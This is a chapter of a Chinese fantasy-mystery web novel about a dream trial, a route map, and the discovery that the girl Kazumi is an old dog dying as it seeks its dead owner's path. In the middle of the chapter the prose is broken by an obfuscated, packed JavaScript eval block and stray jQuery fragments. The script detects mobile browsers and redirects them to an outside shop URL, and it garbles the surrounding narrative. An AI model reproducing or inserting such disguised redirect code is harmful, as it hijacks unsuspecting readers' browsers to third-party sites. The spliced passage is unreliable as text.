第六席上的地图自己展开了。
那原本只是一张普通的校园祭导览图。边角被折过,右下方还贴着那枚小狗贴纸。贴纸很小,印刷也不精致,耳朵的位置有一点偏色,像飞镖摊送给小孩的廉价奖品。可景实拿到它的时候,却按得很认真。她没有选兔子,没有选猫,也没有选玫瑰。她只选了这只小狗,把它贴在地图右下角,然后用指腹来回压了几次,似乎怕它走丢。
观众席最后一排传来很轻的一句:“不是这个。”
声音太小,几乎被胶片声吞掉。
可是审判场听见了。
地图没有停。小狗贴纸边缘一点点翘起,飞镖摊、校侦社、文学社剧场、礼堂后台、文化墙、侧厅、钟塔、医务室,一个接一个褪去原本鲜亮的颜色,被一条细细的线连了起来。那条线画得很慢,也很稳,不像孩子随手乱画的游戏路线,更像有人趴在桌上,反复确认过每一个转角、每一扇门、每一段可能会被监控漏掉的路。
“不是这个。”那个声音又说了一遍,比刚才更轻。
没有人立刻看见说话的人。
不死途却看着那张自己展开的地图,明白了一点。
这座审判场不是谁手里的玩具。
有人把路找到了。
可门一旦打开,里面要放什么,就不再完全由她决定。
那时候相马随口问过她:“喜欢狗?”
景实低着头,说:“它会记路。”
当时没有人把这句话当真。校园祭上,孩子说一句“狗会记路”,最多只像童言童语。可此刻,黑白灯光照着那张地图,所有被忽略过的小东西都重新露出了牙齿。
相马盯着那条线,声音不自觉放低:“这是景实小朋友今天走过的地方?”
不死途没有立刻回答。
他看着那枚小狗贴纸,看着贴纸边缘翘起来的那一小块。那一小块边角很顽固,像被人按过很多次,还是固执地抬起头。它让不死途忽然想起很早之前,在事务所里,他合上那本狗狗小说时说过的话。
“不是小朋友迷路的路线。”不死途说。
九十九已经被自己的手机屏幕折磨得脸色发青,听见这句,还是本能地想抓住一点嘲讽的余地:“那是什么?寻宝图?”
不死途抬起眼,看着他。
“是狗找主人的路线。”
这句话落下,审判场静得近乎凝固。
九十九脸上那点强撑出来的讥笑消失了。伊集院千织原本冷白的脸色变得更难看。相马慢慢低下头,重新看向那张地图,像终于意识到,有些异常从一开始就不该被他当成“孩子比较敏感”。
景实怕吵。
不是普通孩子讨厌热闹的那种怕。她听见礼堂后台金属架碰撞会皱眉,听见人群脚步乱掉会退到墙边,听见相马跑过来时能先于所有人抬头。她不太看人的脸,却总能准确分辨一个人从哪里来,身上沾了什么味道。她走路时很少踩到人,也很少真正迷路。她抱着地图并不是在看摊位,而在确认一条自己必须走完的路。
审判场上方的银幕忽然闪了一下。
现实的信号从外面切入,伴随着归零那边极轻的电流杂音。
【医疗点异常。】
【市桥景实:未发现人类儿童生命信号。】
【床位上发现犬类生命体。】
【项圈铭牌:カズミ。】
【年龄推定:十岁。】
【生命体征急速下降。】
【种属判断:幻造种。】
【原始能力倾向:守护、寻路、归巢、隐蔽。】
【异常场判断:非单一幻造种梦境。】
【异常场来源:旧案残留、校园祭舞台、文化墙投影、纸玫瑰道具、死者记忆锚点共同构成。】
【市桥景实并非梦境制造者。】
【能力核心:以气味、地点、物品、语言、记忆为锚点,寻找主人未能回家的路。】
【当前能力使用方向:将锚点反向缝合至加害者身上,形成现实处决。】
【限制:无锚点者无法处决。】
【限制:距离越远、改写越重,生命消耗越高。】
【生命衰退不可逆。】
【能力方向严重背离原始本能。】
【原本用于带人回家的能力,正在被强行用于把人送入死亡。】
相马像被人从背后猛地推了一把:“犬类?”
九十九喃喃:“开什么玩笑……”
不死途看着那几行字,眼神沉了下去。他没有侦探解开谜题时常见的兴奋,也没有抓住凶手后的轻松。那一刻,他想到的不是“凶手原来是狗”,而是另一件更安静、更残酷的事。
泷见晴死后,校方写了报告,治安系统接了结论,媒体用了“情绪问题”,同事避开麻烦,学生传起谣言,父亲把自己藏回“家务事”的壳里。所有人都在解释她为什么没有回来。
但一条狗不需要解释。
它只知道门没有响。
现实里的医务室比审判场更安静。
刚才被救回来的“小女孩”躺过的床位上,外套仍然鼓起一小团。医护人员本来守在旁边,刚才还在记录她的低体温和腕部勒痕,可归零与老白赶到的时候,床上已经没有任何人类儿童的生命信号。
一名年轻医护人员脸色发白:“我刚才明明看见的是个孩子。她就在这里,身上还盖着衣服。我没有离开过。”
归零没有责备她,只把光屏压低,重新扫描床铺。
外套下面蜷着一条很老的,很普通的田园犬。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17718596|208559||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
它很瘦,毛色已经暗了,不再是年轻时蓬松漂亮的样子。耳朵边缘有些毛发泛白,肋骨随着浅浅的呼吸轻微起伏。
老白没有像平时那样立刻开玩笑。
他靠近床边,低头闻了闻。旧木头、铁锈、纸玫瑰、礼堂道具胶、钟塔的冷风,还有更深处一层很淡的气味。那气味曾经属于泷见晴:粉笔灰、红笔墨水、书页、廉价护手霜,还有下雨天外套没完全晾干时留下的潮气。
老白的声音低了下去。
“景实。”
归零看向他:“你确定?”
老白没有回答,只用爪尖轻轻拨开外套边缘。
那条狗脖子上有一只旧项圈。项圈皮面已经磨软,内侧刻着一行很小的字。
【カズミ】
医务室里一时没有声音。
归零看着那条老狗,光屏上的数据冷静、精确、无可辩驳。可是数据之外,有许多东西写不进去。
老白看着那条生命曲线,问:“强行切断梦境呢?”
归零没有立刻回答。她调出梦境连接图。连接线不是从老狗身上凭空生出来的,而是一端绕过礼堂、文化墙、纸玫瑰和旧楼路线,落进那片早已成形的黑白异常场;另一端缠着不死途、相马、九十九、伊集院和泷见晴之父。
“她会先死。”归零说。
“不切呢?”
“她也可能会死。”
老白沉默下来。
归零看着光屏上越来越低的曲线,声音冷静得近乎残忍:“所以不是二选一。继续把证据送进去,至少让她不是白死。”
老白又看了一眼床上的老狗:“她不是在装小孩。”
归零抬眼:“区别?”
“装,是为了骗别人。”老白说,“学,是因为她只知道主人那样活过。”
老白忽然说:“钟塔那里,有一半是真的。”
归零抬眼:“哪一半?”
“她留下路线是真的。她想让我们追过去也是真的。”老白看向床上的狗,“但她想掉下去也是真的。”
归零没有说话。
老白继续道:“我当时闻到的不是演出来的恐惧。那里面有一半像找路,另一半像回不去了。”
归零停顿了一瞬,才把现实信号整理好,送进梦境。
她没有给不死途任何结论,只传过去事实。
【钟塔事件并非完全伪装。】
【存在真实自毁倾向。】
【再次发动能力,预计无法活到明天。】
信号消失前,归零看了床上那条狗很久。
“撑住啊。”她低声说。
可这句话说得很轻,因为她自己也知道,对一条已经等了太久的狗来说,“撑住”有时候不是安慰,而是另一次要求。